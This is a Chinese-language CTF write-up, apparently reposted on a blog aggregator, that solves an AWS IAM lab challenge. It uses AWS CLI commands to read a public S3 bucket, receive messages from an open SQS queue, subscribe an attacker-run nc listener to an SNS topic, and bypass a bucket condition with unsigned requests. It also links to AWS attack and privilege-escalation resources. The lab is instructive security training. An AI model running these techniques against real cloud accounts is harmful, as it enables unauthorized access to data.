aws云靶场和一些杂记

aws靶场

在AWS靶场中，存在三个安全问题：1) 一个S3存储桶政策配置错误，允许公共访问，通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色，允许发送和接收消息，通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放，允许任意Endpoint订阅，使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应，从而得到flag。最后一个挑战涉及存储桶的IAM策略，通过aws s3api命令的list-objects接口，利用无签名请求绕过权限限制访问flag。

存储桶泄露

查看第一个policy给出了这个问题，可以允许列出桶的权限，注意看Principal 这里没有限制具体的访问角色，这里的*代表互联网所有人都可以访问的意思，公开桶。

img

使用s3的命令行，其实可以获取到，可以通过其他命令复制出来，aws好像是没办法直接查看内容的

img

想直接查看内容的话，可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ，见此，flag已经出来了，可以下一关

img

SQS消息队列

查看第二个的policy如箭头所示，没有限制具体的角色，而且允许sqs进行发消息和接收消息

img

通过阅读官方文章，sqs这块，有这么多个接口可以搞，但是注意，这块我们的权限只有send和receive

https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html

img

根据文档上的构造，那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接

img

aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

构造好的请求直接发包，发现抱错了

img

还需要–message-body，那继续添加随便加上111，但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了

img

继续查看官网文档，receive-message构造例子如下，有的参数是不必须的得在测试中得到真理

img

构造后进行请求，获得的响应内容多了，有个很明显的链接，访问就是flag了。

aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

img

SNS托管式消息传递服务

SNS和SQS的区别：

  • SNS： SNS 是一种发布/订阅模型，其中消息发布到一个主题（Topic），然后所有订阅了该主题的终端（如应用程序、服务、端点等）都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
  • SQS： SQS 是一种队列模型，其中消息被发送到队列，然后由队列的消费者（订阅者）按照顺序处理。每条消息只能由一个消费者接收，确保消息按照顺序处理。

了解了sns的基本含义之后，我们来看题目给的policy

img

  • Action: 定义允许执行的操作，这里是 “SNS:Subscribe”，表示允许订阅 SNS 主题。
  • Resource: 定义操作作用的资源，这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”，表示允许对指定 SNS 主题执行订阅操作。
  • Condition: 是一个可选的部分，定义允许或拒绝操作的条件。在这里，使用了 “StringLike” 条件，要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。

还是老样子，我们查看官方的文档

img

那么其实sns里面有protocol参数，可以指定http请求

img

那么subscribe权限下，获取http订阅消息的cli参数命令示例如下

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \
    --protocol http \
    --notification-endpoint http://example.com/endpoint

把题目给的参数带上发送请求

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
    --protocol http \
    --notification-endpoint http://xxx:8089/@tbic.wiz.io

img

对应自己的服务器起了http服务，但是虽然能获取到响应，但是没办法获取更多的响应信息

img

琢磨了一段时间发现用tcp起端口，nc就可以获取所有响应信息了。但是这段信息里面，是没有flag的，

img

但是给过来的响应，已经提示了To confirm the subscription, visit the SubscribeURL included in this message

img

那么查阅文档后才知道确认消息的具体格式，也可以使用 aws sns confirm-subscription 命令来手动确认订阅，提供确认消息中的 Token：

aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN

aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424

虽然爆红了，说权限不够，但是还是可以收到sns发过来订阅的消息

img

在nc这边监听，获取到的message就是flag了

img

存储桶错误配置

在下面的policy可以知道，存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket，但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问

img

这块其实想了很久，一直没有办法突破。因为没有办法绕过PrincipalArn的限制，最后是查阅官网文档：如果请求中没有上下文键或者上下文键值解析为空数据集（如空字符串），则也会返回 true

https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html

img

那么让上下文键值为空的话，查阅s3api的文档，可以带上–no-sign-request

img

发送请求，我们可以获取到flag了

aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request

img

关于存储桶这块，我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk，s3api用的是sts token

记录的链接

aws相关链接

https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb

https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/

https://github.com/BishopFox/iam-vulnerable

https://github.com/andresriancho/enumerate-iam

https://github.com/ine-labs/AWSGoat 靶场

https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识

https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问

下载对应的cli工具

https://aws.amazon.com/cn/cli/

/.aws/credentials

img

AWS漏洞利用框架Pacu

https://www.freebuf.com/sectool/190074.html

img

img

aws ssrf+cicd流程 rce 值得回味！

https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce

aws 攻击笔记大全

https://wiki.teamssix.com/CloudService/IAM/

aws中的iam是什么

img

其他

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/552301.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

Pr2024安装包（亲测可用）

Pr2024安装包（亲测可用）

目录 一、软件简介 二、软件下载 一、软件简介 Premiere简称“Pr”，是一款超强大的视频编辑软件，它可以提升您的创作能力和创作自由度，它是易学、高效、精确的视频剪辑软件，提供了采集、剪辑、调色、美化音频、字幕添加、输出、D…
阅读更多...
动态内存管理 柔性数组

动态内存管理 柔性数组

文章目录 动态内存函数 malloc freecallocrealloc 重新开辟空间realloc 也可以第一个参数为NULL，则是直接开辟内存，类似于malloc用法 常见的动态内存错误对空指针进行解引用操作对开辟的内存越界访问对非动态开辟的内存使用free释放使用free释放动态开辟…
阅读更多...
Playwright 集成在 Jenkins 中进行端到端自动化测试

Playwright 集成在 Jenkins 中进行端到端自动化测试

根据之前的文章，我们大致了解了前端测试的类型以及 Playwright 的基本使用。在我们完成了 Playwright 的搭建后，我们需要将测试引入到正常开发流程中来。 不过，在流程中总不可能每次在产品端发生变化后（通常涉及多个组件&#xf…
阅读更多...
如何正确查看容器的CPU使用率

如何正确查看容器的CPU使用率

进入容器中top，虽然看到的PID是容器的，但是%Cpu的统计信息却是宿主机的。 如图 原理 进程的cpu使用率是如何计算出来的？ 每个进程的状态是放在文件里的，在/proc目录下，每个进程有自己pid命名的文件夹， …
阅读更多...
基于Python大数据的微博舆情分析，微博评论情感分析可视化系统

基于Python大数据的微博舆情分析，微博评论情感分析可视化系统

博主介绍：✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…
阅读更多...
冲上热搜-奇安信今年的年终奖。。

冲上热搜-奇安信今年的年终奖。。

最近,奇安信宣布全员无年终奖，同时冲上了脉脉热搜榜第一。作为网安界的一哥，奇安信的决定无疑给许多期待年终奖的员工带来了沉重的打击。 从公司内部的绩效考核机制来看,奇安信将员工分为了5个档次:S、A、B、B、B-。而大多数员工被评定为中等的B档,这意味…
阅读更多...
宝塔面板实现内网端口映射教程

宝塔面板实现内网端口映射教程

内网穿透是一种技术，它允许外部网络（如互联网）的设备或用户访问内网（如本地局域网）中的服务。在使用宝塔面板（BT-Panel）时，你可以通过安装和配置一些插件来实现内网穿透。 以下是一…
阅读更多...
2024年团队程序设计天梯赛模拟赛 L1 + L2

2024年团队程序设计天梯赛模拟赛 L1 + L2

目录 L1 - 6 剪切复制 L1 - 8 小偷踩点 L2 - 1 推宝塔 L2 - 2 含茶量 L2 - 3 到底爱不爱我 L2 - 4 寻宝图 L1 - 6 剪切复制 使用计算机进行文本编辑时常见的功能是剪切功能（快捷键：Ctrl X）。请实现一个简单的具有剪切和粘贴功能的文本…
阅读更多...
每天五分钟计算机视觉：基于卷积操作完成滑动窗口的图片分类？

每天五分钟计算机视觉：基于卷积操作完成滑动窗口的图片分类？

本文重点 我们前面学习了使用不同大小的滑动窗口来滑动图片，然后切分成许多小的图片，然后依次应用到我们已经训练好的图像分类模型中，但是这种方式效率太低了，本节课程我们学习一种新的方式，来看一下如何并行识别这些剪切的图片。 原始结构 首先我们先来看一下，如何把…
阅读更多...
中国12.5米DEM地形瓦片数据免费领取！

中国12.5米DEM地形瓦片数据免费领取！

之前向大家公开了中国34个省12.5米DEM地形瓦片数据的免费领取链接，大家对12.5米DEM数据的使用需求很强烈，领取也很积极，也有不少读者反馈能否提供全国范围的12.5米DEM地形瓦片数据，因为分省级地形瓦片数据想要合并成全国数据&…
阅读更多...
朗致集团面试-Java架构师

朗致集团面试-Java架构师

总结 三轮面试，第一轮是逻辑测试性格测试，第二轮是技术面试（面试官-刘老师），第三轮是CTO面试（面试官-屠老师）。如果第三轮面试通过，考官会问你薪资意向，如果满意的话HR就…
阅读更多...
【网络编程】web服务器shttpd源码剖析——命令行和文件配置解析

【网络编程】web服务器shttpd源码剖析——命令行和文件配置解析

hello ！大家好呀！ 欢迎大家来到我的网络编程系列之web服务器shttpd源码剖析——命令行解析，在这篇文章中，你将会学习到在Linux内核中如何创建一个自己的并发服务器shttpd，并且我会给出源码进行剖析，以及手绘…
阅读更多...
WAF攻防-权限控制代码免杀异或运算变量覆盖混淆加密传参

WAF攻防-权限控制代码免杀异或运算变量覆盖混淆加密传参

知识点 1、脚本后门基础&原理 2、脚本后门查杀绕过机制 3、权限维持-覆盖&传参&加密&异或等 章节点： WAF绕过主要集中在信息收集，漏洞发现，漏洞利用，权限控制四个阶段。 代码表面层免杀-ASP&PHP&JSP&a…
阅读更多...
Element入门

Element入门

安装ElementUI组件库 npm install element-ui2.15.3 引入 import Vue from vue; import ElementUI from element-ui; import element-ui/lib/theme-chalk/index.css; import App from ./App.vue;Vue.use(ElementUI);new Vue({el: #app,render: h > h(App) }); 应用 模板 …
阅读更多...
C++笔记：异常

C++笔记：异常

文章目录 C 运行时错误处理机制及其不足之处C 异常概念异常的使用异常的抛出和匹配原则在函数调用链中异常栈展开匹配原则异常的重新抛出举例演示说明例子一：串联举例演示大部分原则例子二：模拟服务器开发中常用的异常继承体系例子三：异常的重…
阅读更多...
代码随想录算法训练营第二十九天|491.递增子序列、46.全排列、46.全排列II

代码随想录算法训练营第二十九天|491.递增子序列、46.全排列、46.全排列II

491. 非递减子序列 思路： 在90.子集II (opens new window)中我们是通过排序，再加一个标记数组来达到去重的目的。 而本题求自增子序列，是不能对原数组进行排序的，排完序的数组都是自增子序列了。 所以不能使用之前的去重逻辑&…
阅读更多...
「GO基础」起源与演进

「GO基础」起源与演进

💝💝💝欢迎莅临我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…
阅读更多...
Spring容器结构

Spring容器结构

文章目录 1.基本介绍1.Spring5官网2.API文档3.Spring核心学习内容4.几个重要概念 2.快速入门1.需求分析2.入门案例1.新建Java项目2.导入jar包3.编写Monster.java4.src下编写Spring配置文件1.创建spring配置文件，名字随意，但是需要放在src下2.创建Spring …
阅读更多...
Python景区票务人脸识别系统

Python景区票务人脸识别系统

博主介绍：✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇…
阅读更多...
Zabbix监控内容

Zabbix监控内容

目录 一、自定义监控内容 1、在客户端创建自定义key 1.1明确需要执行的linux命令 1.2创建zabbix监控项配置文件，用于自定义Key 1.3服务端验证测试 2、在Web界面创建自定义监控模板 2.1创建模板 2.2创建应用集（用于管理监控项） 2.3创建…
阅读更多...
最新文章

Copyright @ 2022~2023